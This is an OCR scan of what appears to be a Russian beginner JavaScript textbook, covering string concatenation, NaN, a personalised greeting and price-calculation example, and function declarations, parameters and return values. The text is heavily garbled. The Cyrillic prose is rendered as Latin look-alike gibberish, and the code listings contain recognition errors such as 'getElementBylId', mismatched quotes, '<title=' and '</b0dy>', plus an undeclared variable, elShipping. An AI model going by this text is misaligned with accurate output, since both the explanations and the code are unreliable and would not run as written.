KO/Zla BbIBOAAT pe3ynbTaT Ha
3KpaH.

PE3YJIbTAT

Croumoctb: 70 P
Hocraeka: 7 P
Wror: 77 B

OCHOBHbIE KOMAHObI JAVASCRIPT



CTPOKOBAHA OINEPALNA

CyLlecTBYyeT TOJIbKO O4Ha CTpOKOBas

onepauuns: +. OHa ncnosb3yeTcs A9 COY-
JIEHEHWSI CTPOK, PACroOXKEHHbIX Mo 0be

CTOPOHbI OT 3TOIro CMMBOJ1a.

BO MHOMMX CUTyauusx Tpe-
byeTcsa 06beANHUTD [iBe
CTpokM nnu 6onee, 4TobbI
NOMYUYNTb U3 HUX OAHY.
MporpamMMuUCTbl Ha3biBalOT
Takow NpoLecc koHkare-
Haumneu.

Hanpumep, Bbl XxpaHUTe UMS 1 GaMUINIO B ABYX Pa3HbIX
nepemeHHbIX 1 BaM TpebyeTcsa coeANHUTbL nX, 4yTobbl Npesa-
CTaBUTb BMecCTe. B pe3ynbTate nonyyntca nepemeHHas
fullName, cogepxalyas, ckaxxem, CTpoky 'Ekateputa CmupHoBa'.

var firstName = 'EkatepuHa ';
var lastName = 'CmupHoBa';
var fullName = firstName + lastName;

CMELLUMBAHUE YNCJTIOBbIX M CTPOKOBbIX 3HAYEHUN

Ecnv 3anucaTtb yncao B ka-
Bbl4KaXx, TO OHO CTaHOBUT-
CA CTPOKOBbIM, @ HE YNC-
NoBbIM 3Ha4YeHnem. Hag
CTpOKaMum He/1b34 BbINoJ1-
HATb onepaunn CAoXeHUnA
M BblYNTaAHNA.

var costl ="'7";
var cost2 ='9";
var total = cost1 + cost2;

MonyunTca ctpoka '79".

Mpu nonbiTke 406aBUTL
YNCNOBbIE [laHHble K CTPO-
Ke OHW CTaHOBATCH ee
yacTbto. Mpumep — ao-
6aB/ieHne Homepa goma

K Ha3BaHMIO yANLbI:

var number = 12;
var street = "'ynuua 3opre';
var add = number + street;

MonyuunTca cTpoka
'ynuua 3opre, 1'

OCHOBHbIE KOMAHObI JAVASCRIPT

Ecnu Bbl nonpobyeTte
NPUMEHNTb K CTPOKE
Kakne-nnbo apyrue apund-
MeTnyeckue onepaummn, To,
ckopee BCero, noayymre
3HayeHue NaN. OHOo o3Ha-
yaeT not a number, To ecTb
«HE YNCNON.

var score = 'seven';
var score2 = 'nine';
var total = score * score2;

B ntore umeem 3HaueHune
NaN.



JAVASCRIPT

MCMOSIb3OBAHUE
CTPOKOBbIX OMEPALMW

€02/js/string-operator.js

var greeting = 'llpuserT, ';
var name = 'KatepuHa';

var welcomeMessage = greeting + name +'!";

var el = document.getElementById('greeting');
el.textContent = welcomeMessage;

c02/string-operator.html

<h1>Pait</h1>
<div id="content">
<div id="greeting" class="message">lpuser,
<span id="name">gpyr</span=!
</div>
</div>

<script src="js/string-operator.js"></script>

PE3YJIbTAT

Kog 13 gaHHoro npumepa
oTobpaxaeT Ha CTpaHuLe
NepcoHann3npoBaHHoe
npvBeTCcTBME.

B nepBoit cTpoke co3ga-
eTcsa nepemeHHas greeting,
B KOTOPOW COXpaHsieTcs
cooblLeHne AN Noib30Ba-
Tensa. B gaHHOM cnyvae 310
3Ha4yeHwe MNpuser, .

Bo BTOpoW cTpoke co3gaeT-
cA nepemeHHas, rae xpa-
HUTCS UMS MNOSIb30BaTeNs.
[MepemeHHas Ha3biBaeTCs
name, a UM nNosib3oBaTe-
N4 B JaHHOM Ccayyae —
KatepuHa.

MepcoHannsnpoBaHHoe
NpUBETCTBUE CO34aeT-

CcsA NyTem KOHKaTeHauum

(To ecTb 06beANHEHNS)
[ABYX MepeMeHHbIX € 06aB-
NleHnemM BOCKAMLaTeNbHOro
3Haka. Bca ata uHdopmaymsa
COXpaHseTCa B HOBOW nepe-
MeHHOoW welcomeMessage.

JlaBaiTe BepHeMmcCs K nepe-
MEHHOW greeting B nepBoOW
CTpOKe 1 06paTM BHM-
MaHwue Ha To, YTo nocne
cnosa [lpuBeT c 3anaTomn
eCcTb NyCTOe NPOCTPAHCTBO.
Ecniv 6bl 3TOrO MpomexyT-
Ka He 6bi/10, MepemeHHas
welcomeMessage Mmena 6bl
3Ha4veHwue lNpusert,Katepunal

OCHOBHbIE KOMAHObI JAVASCRIPT



@ Safari ®Qain Mpaska Bun MWeropus Baknagxw Paspabotka OxkWo  Cnpaska Minxamrs
p p

fie:///Users/mihailrajtman/Documents/02/example.himi

Mpueet, Katepuna! MomanyicTa, NnpoBepbTe 3aKas:

WmeHnan tabnuuka:  BeemwpHan ceTs
Bcero nnuTok: 14

CronmocTs; 70 P

Docraeka: TP

Wror:

acBook Pro




07 Muxawn Pafmsas

Q

[MPMEP

OCHOBHbIE KOMAHDbI
JAVASCRIPT

B npnmepe HMXe NnpumeHsaeTca paj
TEXHUK, PACCMOTPEHHbIX Ha CTpaHuMLax
3TOW rnasbl.

Koa npvBeaeH Ha cnegyowmnx AByx cTpaHuuax. OAHOCTPOYHbIe
KOMMEHTapMM OMUCHIBAIOT, YTO MPOUCXOAMNT B KaXX40M dparMeHTe
KoAaa.

CHayafla Mbl CO3aeM TpU NEPEMEHHbIE A XpaHeHUa MHPopma-
LMK, UCNONb3YEMOM B MPUBETCTBMW. 3aTEM BbIMOMIHAEM KOHKaTe-
Hauwto (0bbegnHeHNe) NepeMeHHbIX — TakumMm 06pasom cosgaeTcs
LeN0CTHOE CO0bLLEHNE, KOTOPOE M BbIBOAUTCS NOb30BATENIO.

B cneaytollen yacTn NnpumMepa nokasaHbl NpocTenLlne maTemaTm-
yeckune AeNCTBMS Haj YNCaamu, MO3BONSAIOLLME PAaCCYNTaTb CTOU-
MOCTb Tabinukun.

® B nepemeHHOW sign OyeT XpaHUTbCS TEKCT, 3aMMCbiBaeMblii Ha
Tabanuke.

® CowncTBo length mo3BoaseT onpeAenmnTb, CKObKO CUMBOJIOB
coaepxuTtca B cTpoke (Mbl nogpobHee NoroBopnm o6 aTom
CBOMCTBE Ha C. 134).

® CToumocCTb Tabnnykm (MpOMeXyTOYHbIN pe3ynbTaT)
BbIUMCIARTCA MYTEM YMHOXEHNA KOMYECTBA BYKB Ha
CTOMMOCTb OTAE/IbHOM BYKBbI.

® KOHeYHbIN UTOr BblUMCAsieTCs Kak 06LLas CTOMMOCTb BCex BykB
Ha Tabnunyke natoc 7 R 3a 4OCTaBKY.

HakoHeu, nHbopmaLums BbIBOAUTCS Ha CTpaHuLy. 4158 3Toro Bbl-

AENAI0TCSH HEKOTOPbIE 3/1IEMEHTBI, U UX COAEPXKMMOE 3aMeHAeTCs
(BrnaBe 5 6yaeT pacCMOTPEHO, Kak MOXHO caenaTb Takoe). Kog

no naeHtTudunkaTopam Boigenset Ha HTML-cTpaHuLe 3/1EMEHTbI,
a3aTeM OOHOBASET UX KOHTEHT.

Ecnu Bbl BHUMaTeIbHO NpopaboTaeTe 3TOT Npumep, To byaeTe yBe-
pPEHHO MOHMMaTb, Kak B NepeMeHHbIX XpaHATCS laHHble U Kak Haj
HUMMU BbIMOJIHAOTCS NPOCTeNLLne onepaymm.

OCHOBHbIE KOMAHObI JAVASCRIPT



[MPNMEP
OCHOBHBIE KOMAH[bI JAVASCRIPT

c02/example.html HTML

<!DOCTYPE html>
<html>
<head>
<title=JavaScript 1 jQuery - [naBa 2</title>
<link rel="stylesheet" href="css/c02.css" />
</head>
<body>
<h1>Elderflower</h1>
<div id="content">
<div id="greeting" class="message">MNpuset!</div>
<table>
<tr>
<td>WmeHHas Tabnuyka: </td>
<td id="userSign"></td>
</tr>
<tr>
<td>Bcero nautok: </td>
<td id="tiles"></td>
</tr>
<tr>
<td>Croumocts: </td>
<td id="subTotal">R</td>
</tr>
<tr>
<td>[locTaBka: </td>
<td id="shipping">R</td>
</tr>
<tr>
<td>Wror: </td>
<td id="grandTotal">R</td>
</tr>
</table>
<a href="#" class="action">0nnatute</a>
</div>
<script src="js/example.js"></script>
</b0dy>
</html>

OCHOBHbIE KOMAHObI JAVASCRIPT



[MPUMEP
OCHOBHBIE KOMAHbI JAVASCRIPT

JAVASCRIPT c02/js/example.js

// Co3paem nepemeHHble 415 NPUBETCTBEHHOIO COOGLLEHNSA

var greeting = 'Mpusert, ;

var name = 'KatepuHa';

var message ="! [loxanyiicta, npoBepbTe 3aKas:';

// KoHKaTeHUpyem 3HayeHUs Tpex nepemMeHHbIX AN (OPMUPOBAHMS MPUBETCTBEHHOMO COOOLEHUSA
var welcome = greeting + name + message;

// Co3naem nepemeHHbI€, B KOTOPbIX OYAET XpaHUTbCA NOAPOOHas HbopMaumus o Tabanyke
var sign = 'BcemupHas ceTb';

var tiles = sign.length;

var subTotal = tiles * 5;

var shipping =7;

var grandTotal = subTotal + shipping;

// Nonyyaem anemeHT ¢ uaeHTMdMKaTOpom greeting

var el = document.getElementBylId('greeting');

// 3amMeHseM CofepK1Moe 31eMeHTa Ha NepcoHanu3MpoBaHHoOe NPUBETCTBEHHOE CO0bLeHMe
el.textContent = welcome;

// Nonyyaem 3neMeHT ¢ ugeHTMdUKaTOpOM userSign u 06GHOBASEM ero Cogepxumoe
var elSign = document.getElementById('userSign');
elSign.textContent = sign;

// Nonyyaem anemeHT ¢ ugeHTudukatopom tiles u oGHoBAsIEM ero cogepxKumoe
var elTiles = document.getElementById('tiles');
elTiles.textContent = tiles;

// Nonyyaem anemeHT ¢ npeHtudukatopom subTotal n o6HoBAsEM ero coaepxumMoe
var elSubTotal = document.getElementBylId('subTotal');
elSubTotal.textContent = subTotal + ' R';

// Mony4yaem anemeHT ¢ uaeHTudukatopom shipping n o6HoBNsEM €T0 COAEPKUMOE
var elSubTotal = document.getElementBylId('shipping');
elShipping.textContent = shipping + ' B';

// Nonyyaem anemeHT ¢ upeHTudukatopom grandTotal u obHOBNsEM ero coaepxumoe

var elGrandTotal = document.getElementById('grandTotal');
elGrandTotal.textContent = grandTotal + ' R';

OCHOBHbIE KOMAHObI JAVASCRIPT



CueHapum COCTOUT U3 CEPUMN MHCTPYKLMM — KaXK-
AYH0 MHCTPYKLMIO MOXHO CPaBHUTb C 3TanNOM Npwu-
roToB/IEHUS B0AQ B KYIMHAPHOM peLenTe.

CueHapum cofiep>kaT 04eHb TOYHbIE Npeanmca-
HUA. Hanprmep, HY>XHO yKas3aTb, YTO NporpamMma
JI0/1>)KHA 3aMOMHNTb 3HaYeHue, nepes TeM Kak Bbl-
NOJIHATb PacyeTbl, B KOTOPbIX OHO MCMOJ1b3YeTCS.

[MepeMeHHble cayXaT A9 BpEMEHHOMO XpaHEH S
dparmeHToB MHPOPMaLINMK, MPUMEHAEMbIX B CLIE-
Hapuu.

MaccunBbl — 3T0 0cobast pa3HOBUAHOCTb Nepe-
MEeHHbIX. B MaccuBe coziepxaTcst B3anMOCBSA3aH-
Hble dparmMeHTbl MHdOopMaL MK,

B JavaScript pasnnyatoTcsa 4McaoBble, CTPOYHbIE
(tekcT) n norndeckme (KUCTUHA» UV KJTOXKbY)
TUNbl AAHHbIX.

BbipaxkeHne B pe3y/sibTaTe AaeT 0ZHO UTOrOBOE
3HayeHwe.

[N pacyeTa 3HaYeHUs B BbipaXkeHUN NCMOoJb3Yy-
I0TCA onepaLnm.






Bpaysepy TpebytoTcst o4eHb NoApPObHbIE MHCTPYK-
LM OTHOCUTESIbHO TOT0, YTO OH A0JIXXEH CAeNaTh.
TakK YTO CNIOXHbIEe CLLeHApUN MOTFYT CoOAepXKaTb
coTHK (U gaxke Tbica4YM) CTpokK. MporpaMmMmncT Uc-
Nosb3yeT ANA opraHM3aunm koga GyHKUMN, METO-
Abl 1 00beKTbl. DTa r/1aBa Ae/INTCA Ha TpU YacTy,
rae Bbl MO3HAKOMUTECH CO CAIeAYOLLNMN TEMaMMU.

OYHKLUNN
M METOObI

DyHKLMS COCTOUT U3
pafa MHCTPYKUMRA,
KOTOpble rpyNNupyoTCs
BMeCTe, Tak Kak peLuatoT
KOHKPETHYI0 3azauy.
MeToabl n yHKLNK
0YeHb MOXOXMN 33 TEM
NCK/IIOYEHNEM, YTO Me-
TOZ CO34aeTce BHYTpH
obbekTa (M sBNaeTCH
€ro 4acTblo).

OBBbEKTDI

B rnase 16bi710 Nokasa-
HO, YTO MPOrPaMMMUCTbI
MCMNOb3YOT 0OBbEKTHI
ANS MOZEeNIMPOBAHNS
MMpa Ha OCHOBaHUMN
NMEIOLLMXCA AaHHbIX.
CamMu 06bekTbl COCTOAT
13 CBOWMCTB 1 METO/0B.
B naHHOM pa3gene Bbl
y3HaeTe, Kak co3/4aBaTb

Ha a3bike JavaScript cob-

CTBEHHblE 06BEKTbI.

@ DOYHKLUUN, METObl, OBBbEKTbI

BCTPOEHHbIE
OBBbEKTHI

Bpaysep cogepxut
Habop 06bekToB, KO-
TOpbIV MCMONb3yeTCs
KaK MIHCTpYMeHTapum
ANA CO3[aHNsA NHTepak-
TUBHbIX BEH-CTpaHuL,.

B aTOoM pasgaene Bbl
NO3HaKOMMTECH C psiLOM
BCTPOEHHbIX 06bEKTOB,
KoTOopble fasiee byaeTte
NPUMEHSTb Ha NPOTSXe-
HUWN BCEN KHUTW.






UTO TAKOE OYHKLUWNHA

DyHKUMS NO3BOMSET CrpynnMpoBaTh P MHCTPYKL UM
A9 BbINOJTHEHUS KOHKPETHOro AencTeus. ECm B pasHbix

YacTAX CLeHapMsi MHOMOKPATHO peLlaeTcs o4Ha 1 Ta Xe
3a/la4ya, TO MOXHO MOBTOPHO MCMOMb30BaTb PYHKLMIO
(a He NMcaTb 3aHOBO TakoW Xe Habop MHCTPYKLUMIRA).

[pynnupoBaHmMe NHCTpPYK-
uuni, Tpebyembix AN
peLleHNs TON Nau UHOWN
3agayn, nomoraeT opraHm-
30BaTb KOA,.

bonee TOro, NHCTPYKLUM

B YHKLUNWN He BCerga Bbl-
NMOJHSOTCA Ha 3Tane 3a-
rpy3Ku CTPaHWULbI, MO3TOMY
PYHKUMA B ONpeaeleHHOM
OTHOLUEHWM NO3BOJISIET Xpa-
HUTb 3Tanbl, KOTOpble Tpeby-
eTCs MPONTN AN peLleHns
3aZa4yn. 3aTeM CLeHapui
MOXEeT 00paTuUTbCa K GYHK-
LMn, 4yTobObI Ta BbINOSHMAA
BCE Takue 3Tanbl, Korga 370
notpebyeTcd B Nporpamme.
Hanpumep, y Bac MoxeT
ObITb 3anNporpamMmMmpoBaHa
3aga4a, KoTopyto TpebyeT-
CS1 BbIMOJIHUTb, NLLb ECATN
nosib30BaTe b LWENKHET
MbILLbIO MO ONpeseneHHOMY
3/1IEMEHTY CTpaHuLbl.

Ecnu Bbl cobupaeTech 3a-
NPoOCUTb PYHKLMIO BbINOSI-
HUTb ee 3aZja4yy NONo3xe, TO
3TON PYHKUMM HYKHO Npu-
CBOUTb UMS. OHO AONXKHO
onucbIBaTb 3a4auvy, BbINo-
HaeMyto dyHKumMen. Koraa
nporpamMmmmCT NpuKasbiBaeT
®YHKLMM BbINOAHUTL 3a4a-
4y, FOBOPSAT, YTO OH BbI3bIBA-
eT dYHKLMIO.

STanbl, KOTOpble JOXKHa
NponTH GYHKUNSA ANS Bbl-
NoSHEHWS 3a4a4K, yna-
KoBblBatoTCA B 610K KOAa.
BeposaTHO, Bbl MOMHUTE
M3 NPOLUJION rNaBbl, 4TO
610K KOZa COCTOUT U3
OAHOW NN HECKOSTbKUX
MHCTPYKLUNI, 3aKI0YEH-
HbIX B GUrypHble CKOBKM,
npuyem nocne 3akpbiBa-
toLLen CKOBKM He Hy>XHa
ToYka C 3ansTo — 3TOT
3HaK CTaBUTCA TOSIbKO
NoCae UHCTPYKLNA.

HekoTopbiM dyHKLMAM
Heobxoanmo npeao-
CTaBnAATb MHOOPMaLUIO,
4TOObI OHWM MOT/IN BbI-
MOJTHATb MOCTaB/IEHHYO
3a4advy. Hanpumep, ecan
dYHKUNSA JOSIKHA Bbl-
YNCAWTb NAoWaab Npsa-
MOYTO/IbHOrO MO, TO
Mbl ZOJI)XHbI COOBOLLNTD
GYHKLUNM ero BbICOTY

N WMpUHY. DparMeHTbl
nHbopmaumn, nepesa-
Baemble OYHKLMN, HA3bl-
BalOTCA MapameTpamu.

Korga Bbl nuieTe dyHK-
LMo, KOTOopas AoJIXHa
npeAocTaBUTb BaMm
OTBET, OH OyAeT Ha3bl-
BaTbCs BO3BPALLAEMbIM
3Ha4YeHueM.

@ OYHKLUWNN, METOObI, OBBEKTbI

Huxe npuseaeH npu-
Mep dyHKUnK 13 dbainna
Ha s3bike JavaScript.
OHa Ha3biBaeTCs
updateMessage().

He BoiHynTECH, €Ccnn
noka He MoOHMMaeTe CUH-
TakCUC 3TOro npumepa.
B cnegyrowmnx pasgenax
Mbl C BaMu nogpobHee
MN3YYUM, KaK NncaTb
bYyHKUNN.
HanomunHaem, 4to

B OCHOBE MHOTUX A13bl-
KOB NMporpammMmnpoBaHms
nexunT paboTa c napa-
MU «UMS/3HadYeHney.

Y dyHKLMM eCTb UMSA
updateMessage 1 3Haue-
HMe — 610K Koaa, Co-
CTOSILLMIA U3 UHCTPYK-
umn. Koraa Bbl Bbi3oBeTe
GYHKLMIO N0 UMEHN, 3TH
WHCTPYKLMM BYayT Bbl-
MOIHEHbI.

Tak>Xe CyLlecTBYHOT
AHOHWUMHble PYHKL UK.
Y HUX HET UMEHMN, CNe-
[0BaTesIbHO, UX HEJTb34
Bbl3BaTb. OHW BbIMO/I-
HAKTCS TOJIbKO TOrAaa,
Korga uHTepnpeTtaTtop
A0XOAUNT 0 HUX.



NMPOCTENLLAA OYHKLNSA

B flaHHOM Mpumepe Mbl Bbi-
BOAMM Ha 3KpaH coobuieHune,
KOTOpOEe pacrnosiaraeTcs

B BEPXHEWN YacTu CTpaHuLbl.
CoobleHne cogepxmTca

B HTML-anemMeHTe, 4yen ngeHx-
TUDUKATOP UMEET 3HaYeHne
message. Mbl U3MEHUM 3TO
cooblieHre Npy NoMoLLM Koaa
Ha JavaScript.

<!DOCTYPE html>
<html>
<head>

Mepea 3akpbiBaloOLLUM TEFTOM
</body>HaxoaunTCH ccblsika

Ha dann JavaScript. dann
JavaScript HaunHaeTcs c nepe-
MEHHOW, B KOTOpOW byaeT
cofepXaTbCs HOBOe cooblLLe-
Hue. [lanee pacnonaraetcs
dyHKLMA updateMessage().

<title=MNpocreiiwas pyHKuna</title>
<link rel="stylesheet" href="css/c03.css" />

</head>
<body>
<h1=Poctypusm</h1>

<div id="message">[lo6po noxanosarb Ha Haw caiT!</div>
<script src="js/basic-function.js"></script>

</body>
</html>

JAVASCRIPT

var msg = 'loanuwunTeck Ha Hawy paccbiaKy 1 noayyute ckupky 10%!";
function updateMessage() {

var el = document.getElementById('message');

el.textContent = msg;

}
updateMessage();

PE3YJIbTAT

MoanuwmnTech Ha Hawy
paccbinKy 1 nonyyute
ckngky 10%!

Ceyac mMbl He Byiem ocTaHaB-
JINBATbCS HA TOM, KaK UMEHHO
paboTaeT gaHHasa GyHKUNS —
06 3TOM Mbl MOFOBOPUM Ha
creaytoLmx cTpaHuuax. MNoka
HEeob6X0ANMO NULLL OTMETUTD,
470 B GUrYypHbIX CKOBKax
dyHKUMM HaxoanTCA ABe
NHCTPYKLUW.

c03/basic-function.html

c03/js/basic-function.js

STU UHCTPYKLMW OBHOBASIIOT
coobLLeHNe, pacrnooxXeHHOe
B BEPXHEN YaCTN CTPaHMLbI.
JaHHaa pyHKLMA 4encTBYeT
Kak cBoeobpasHoe xpaHuan-
Lie; B ee GUrypHbix ckobkax
3aK0YEHbl UHCTPYKLUN,
KOTOpble He BbIMOHAOTCS
[10 TEX NOP, MOKa He NpuaeT
BPeMS UX UCMosib3oBaTh. Co-
OTBETCTBEHHO, OHU HE Cpa-
6aTbIBalOT BNIOTb A0 BbI30Ba
GYHKLMY, OCYLLLECTBASEMOTO
TO/IbKO B MOC/IeHEN CTPOKE
cueHapus.

OYHKLUWNN, METOObI, OBBEKTbI



OBbABJIEHVME OYHKUNN

YT06bl CO3a4aTb PYHKLMIO, Mbl AAaEM € UMS, @ 3aTEM 3a-
nMcbiBaemM B GUTYPHbIX CKOBKaxX MHCTPYKLUU, HEOBXoAN-
Mble A5 peLLEeHNs 3a4a4mM. OTa onepaums HasbiBaeTcs

obbaBneHnem pyHKLUMN.

DyHKUMA 06baBNAeTCA
npu NOMOLLM KJTF04EBOTO
cnosa function.

DYHKUUA NoayyYaeT ums
(MHOrAa HasbiBaemoe
naeHTudunkaTopom), 3a
KOTOPbIM pacnosiaraiwT-
cs cKobKu.

KNIOYEBOE C/1I0BO nmMa

FUNCTION

|

DYHKLUUN
|

function sayHello() {

MHCTPYKUMK, BbIMNOJI-
HSKOLWME 3a4a4y, Haxo-
aAatca B 6510ke koaa (oHM
3anucbiBaloTCcs B dUryp-
HbIX CKOBKaXx).

document.write('Mpuset!’);

}

3TOT NpUMeEp OYeHb
npocT (B dUrypHbix
CKObKax CTOUT BCEro
0AHa UHCTPYKLMSA),

HO OH MNO3BO/NAET NOo-
HATb, Kak 06bABAAOTCA
dyHKUMN. BONbLUMHCTBO
dyHKUMI, KOTOpble BaM
AoBeJeTcs nucaTb U Yun-
TaTb, ByayT COCTOATH U3
HECKOJIbKMUX UJIN MHOFUX
MHCTPYKLUUNA.

I

34ecb BaXKHO 3anom-
HUTb, YTO B GYHKLMNAX
XpaHUTCA KoA, Heobxo-
AVMbBIN 4NS pelleHns
KOHKpPETHOW 3a4auu.
CueHapui MOXeT 3a-
npawmnBaTb 3Ty PYHK-
LU0 BCAKUM pas, Korga
TpebyeTcsa pewnTb
TaKyo 3agauy.

@ ®YHKUWNN, METOObI, OB bEKTbI

BJIOK KOO A (B ®UT'YPHbIX CKOEKAX)

Ecan Hekylo 3agady npu-
X0ANTCA peLuaTb B pas-
HbIX YacTsAX cCLeHapus,
TO MOXXHO HE MOBTOPATH
OLHU N T€ XXE NHCTPYK-
LMM MO HECKO/IbKY pas.
JlocTaToyHo HanumcaTb
YHKLMIO, KOA KOTOPOM
6yaeT NoBTOPHO UC-
No/1b30BaTbCH MPU KaX-
AOM peLUeHNN 3a4auu.



Bbl3OB OYHKLUMW

Mocne Toro Kak pyHKLMSA 06bsAB/IEHA, MOXXHO BbINOJIHUTD
BCE MHCTPYKLUWUUN, Haxoaswwmecs B ee GUrypHbIX CKobkax,
npu NOMOLLM BCEro OAHOWM CTpOKK Koga. Takas onepaums
Ha3blBaeTCs BbI3OBOM PYHKLMMN.

YT106bI BLIMOMHUTD
coaepxxawiummncs

B GYHKLUM KO, Mbl
3anucbiBaemM ee ums,
3a KOTOPbIM CeayoT
ABE Kpyr/ble CKOBKU.

1. JaHHaa dyHKuums
MOXET XpaHUTb
WHCTPYKLUMU ANS pe-
LUEHMSI KOHKPETHOM
3aJaun.

2. Ecnu TpebyeTcs,
4TO6bI CLLEHAPUI BbI-
MOJIHWA 3TY 3a4auy,
Bbl BbI3bIBAETE B HEM
$yHKUMIO.

3. OYyHKLNS BbINOA-
HSeT KOMaHAbl, pac-
NnoJsioXKeHHble B 610Ke
Koaa.

4. Korpa pabota
dyHKUMM 3aBEpLUAET-
cA, BbIMOJIHEHUE KOAa
NMpoAOJIKAETCA C TOM
nosuuuu, oTkyaa

6b1/1 cAENaH BbI30B
dyHKUMN.

B TakoM c/lyyae nporpammm-
CTbl FOBOPAT, YTO KOZ Bbl3bIBa-
eT dyHKLUIO.

NMS ®OYHKUUU
|

IsayHello();

(@ function sayHello() {
(® document.write('Mpuset!’);

}

// Koa po ¢yHkuum sayHello...
() sayHello();

@ // Koa nocne dyHkumum sayHello...

T

B npeaenax oAHOro
JavaScript-daina Bbl
MO>EeTE Bbl3blBaTb
YHKLUMIO CTOBKO
pas, CKO/1bKO 3aX0-
TUTE.

B HeKOTOpbIX CAyYasx
dYHKUMSA BbI3bIBAET-
ca f0 06bABNEHNS.
9To AOMNYCTUMO, TakK
KaK MHTepnpeTaTop
CHavyasa npocmaTtpu-
BaeT BECb CLLeHapun,
anoTom Nnpuctynaet
K BbIMOJIHEHUIO UH-
CTPYKLUNA — MO3TOMY
nporpamma byaet
3HaTb, YTO 06BABNE-
Hue pyHKUNKM caena-
HO HUXE B CLLEHAPUN.
Bnpouyem, noka mbl
BO3JEPXUMCSH OT
06baBNEHNA PYHK-
LUURN, npexae yem
BbI3bIBATb UX.

DYHKUWNN, METOLbI, OB bEKTbI



OBBABJIEHVNE OYHKLNI,
019 PABOTbl KOTOPbIX
TPEBYHKOTCA OAHHbIE

NHoraa AN BbINO/IHEHUSA NOCTAB/EHHOM 334341 PYyHK-
UMK 6bIBAaET Hy>XKHa Ta UK nHaa nHdopmauus. B Takux
cayyaax npm obwvasneHun GyHKLUM Mbl coobLiaem en
napameTpbl. BHyTpu dyHKLUMN NapaMeTpbl 4eACTBYIOT

KaK nepemMeHHbIE.

Ecnv ansa paboTbl dyHKUMN TpebyeTca
nHdopmauma, To oHa 3anMcbiBaeT-
Cs B CKOBKax, NAYLLUNX MOCE UMEHM

byHKUUN.

MHdopmaLmsa, pacnosioXXeHHas B CKO6-
Kax, Ha3blBaeTcsa napameTpamu PyHK-
UMK, BHYTpu dyHKUNM NapameTpbl
AENCTBYIOT Kak MepeMeHHble.

NMAPAMETPbBI
|

function getArea(width, height) {
return width * height;

} L I |

I

BHYTPU ®YHKLU MU NAPAMETPbI
NCNOJIb3YIOTCA KAK NEPEMEHHbIE

DYHKLNSA BBIYUCAUT NAOLWAAb MPAMOY-
roJibHUKa 1 BepHeT NoJly4eHHOoe 3Haue-
Hue. 1N 3TOro Mbl AOXKHbI COOBLLNTD
$YHKLUN BBICOTY M LUMPUHY NPSAMO-
yrosibHuKa. Bcakuin pas npuv BbizoBe
dyHKLUM NepesaBaeMble el 3HaUYeHUS
MOTYT OT/IMYaThCA.

STOT NpMMep NokasbiBaeT, Kak Kog Bbl-
NnoJIHAeT 3a4auy, He 3Has 3apaHee BCcex
petanen. Kogy Hy>KHbl INLWb NpaBuaa,

B TOYHOCTM ONuUCbIBatoLLMNeE, Kak peLua-

eTcs 3agava.

@ ®YHKUWNN, METOObI, OB bEKTbI

WTak, Npy NpoeKTUpOBaHMUU CLLeHapus
Heob6xoAuMO onpelennTb Ty MHbOpMa-
LMo, KoTopas byaeT Hy>KHa dyHKLMK
ANSA pelleHns 3a4auu.

MpucmoTpeBLUIUCH K GYHKLUK, Bbl ybe-
AUTECb, YTO MapamMeTpbl UCMO/b3YOTCS
TOYHO TakK Xe, Kak NnepeMeHHble. B AaH-
HOM C/ly4Yae napameTpbl C UMeHamMm
width n height cooTBeTCTBYIOT LULUPUHE

W BbICOTE CTEHbI.



BbI30OB OYHKLIMW,
0719 PABOTbI KOTOPOW
TPEBYIOTCSH OAHHbBIE

Mpw Bbi3oBe DYHKL NN, UMEIOLLEN NAapaMeTpbl, B CKObKax
32 €e UMEHEM HY>XKHO yKasaTb Te 3HaYeHMUS, KOTOpPble OHa
AOJIXXHA UCNO/Ib30BaTb NPWU BbINOJHEHUWN. DTU BENUYNHDI
Ha3bIBAlOTCHA aprymeHTaMu, OHU MOTyT NpeacTaBisaTb

cob0oM Kak KOHKpPETHbIE YMcna, CTPOKMK U T.M., TaK U nepe-

MEHHbIE.

APrYMEHTbI-3HAYEHUA

Mpu BbI30BE NPUBEAEHHON HUXE PYHK-
LUK LUMPUHA CTEHbI ByaeT paBHa 3, a Bbl-
cota — 5.

getArea(3, 5);

APIT'YMEHTbI-NMEPEMEHHbIE

Mpw Bbi30oBE GYHKLIMM MOXKHO He yKa-
3bIBaTb KOHKPETHbIE 3HAaYEHUS, a UC-
No/Ib30BaTb BMECTO HUX MEpPEMEHHbIE.
CneayoLmii NpUMep BbIMOJTHAET Ty Xe
3aZauvy, YTo U NpeabIAYLUNA.

wallWidth = 3;
wallHeight = 5;
getArea(wallWidth, wallHeight);

CPABHEHME NAPAMETPOB U APTYMEHTOB

3a4yacTylo TEpMUHbI MapamMeTp 1 apry-
MEHT ynoTpebiatoTca Kak CUHOHUMDI,

HO MEXAY HUMU eCTb TOHKas pasHuLa.
Ha npegbiayLien cTtpaHuue npm 06b-
ABIEHUU GYHKLUU UCNOb30BANUCH
KntoueBble caoBa width 1 height (B ckobkax
B NMepBoOW CTpoke). B purypHbix ckobkax
B GYHKL MM 3TU C/I0BA AENCTBYIOT Kak
nepemMeHHble. X MMeHa — 3To napa-
MEeTpbl.

Ha s3Toli cTpaHuue Bbi3biBaeTca dyHKLUSA
getArea(), n B KoAe yKa3blBalOTCA KOHKpeT-
Hble Yncna, KotTopble 6yayT Ucrnosb3o-
BaTbCS NpU BblYMCAeHUSAX (MEpEMEHHDbIE,
coZepxallue camu Yyucna).

Takue 3HauYeHUs, YTo Bbl coobLaeTe Koay
(To ecTb MHPOpMaUUa, Heobxoanmas
AN BbIYNCAEHUS NoLWaAN aHHOW KOH-
KpEeTHOWM CTEHbI), NpeACTaBAAIT coboi
apryMeHTbl.

DYHKUWNN, METOLbI, OB bEKTbI



NMOJIYHEHNE
C NMOMOLBbIO OYHKLUNI
OAHOIMO 3HAYEHWA

HekoTopbie pyHKLMM BO3BpaALLAOT MHPOPpMaALUID TOMY
KoAy, YTo Mx Bbi3Baa. Hanpumep, PyHKLUS MOXKET Bbl-
NOJIHATb BblYMC/IEHNE N BO3BpaLLaTb €ro pe3ynbTar.

DyHkuMSA calculateArea() BHYTpu pyHKLUNMN co3aaeT- KntoyeBoe cnoso return npu-
BO3BpaLllaeT njowasb nps- csnepemeHHas area. B Hen MeHsieTCcs AN15 BO3BpaTa
MOYro/IbHMKa TOMY KOAY, coAepXXUTCS BblYMUCIEHHAs 3HaYyeHUs ToOMy Koy, KOTo-
KOTOPbIN ee BbI3Ba. naoLwazb NpsSIMOYro/ibHUKa. pbili BbI3Ba/1 GYHKLMIO.

function calculateArea(width, height) {
var area = width * height;
return area;

}

